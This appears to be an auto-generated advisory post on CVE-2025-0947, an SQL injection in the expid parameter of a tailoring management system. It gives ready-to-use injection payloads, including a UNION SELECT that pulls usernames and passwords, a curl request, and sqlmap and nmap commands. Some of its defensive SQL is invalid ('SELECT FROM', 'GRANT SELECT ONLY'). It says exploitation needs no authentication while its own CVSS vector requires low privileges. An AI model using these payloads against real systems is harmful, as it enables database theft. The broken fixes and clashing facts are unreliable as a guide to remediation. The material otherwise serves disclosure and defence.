Listen to this Post
How CVE-2025-0947 Works
The vulnerability exists in `expview.php` due to improper sanitization of the `expid` parameter. Attackers can inject malicious SQL queries via this parameter, exploiting the lack of input validation. The backend database executes these queries, allowing unauthorized access to sensitive data, modification of database content, or authentication bypass. Remote exploitation is possible without authentication, making this a critical threat. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L) highlights network-based attack vectors with low complexity.
DailyCVE Form
Platform: Tailoring Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 2025-05-14
What Undercode Say:
Exploitation
1. Craft Malicious Payload:
' UNION SELECT username, password FROM users--
2. Exploit via HTTP Request:
curl "http://target.com/expview.php?expid=1' UNION SELECT 1,@@version--"
3. Automate with SQLmap:
sqlmap -u "http://target.com/expview.php?expid=1" --dbs
Protection
1. Patch: Apply vendor updates.
2. Input Sanitization:
$expid = mysqli_real_escape_string($conn, $_GET['expid']);
3. Prepared Statements:
$stmt = $conn->prepare("SELECT FROM expenses WHERE id = ?");
$stmt->bind_param("i", $expid);
4. WAF Rules: Block SQLi patterns.
5. Log Monitoring:
grep 'union.select' /var/log/apache2/access.log
Detection
1. Nmap Script:
nmap --script http-sql-injection -p 80 target.com
2. Manual Testing:
GET /expview.php?expid=1' AND 1=CONVERT(int,@@version)-- HTTP/1.1
Mitigation
1. Disable Error Reporting:
ini_set('display_errors', 0);
2. Least Privilege DB User:
CREATE USER 'appuser'@'localhost' IDENTIFIED BY 'securepass'; GRANT SELECT ONLY ON appdb. TO 'appuser'@'localhost';
References
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
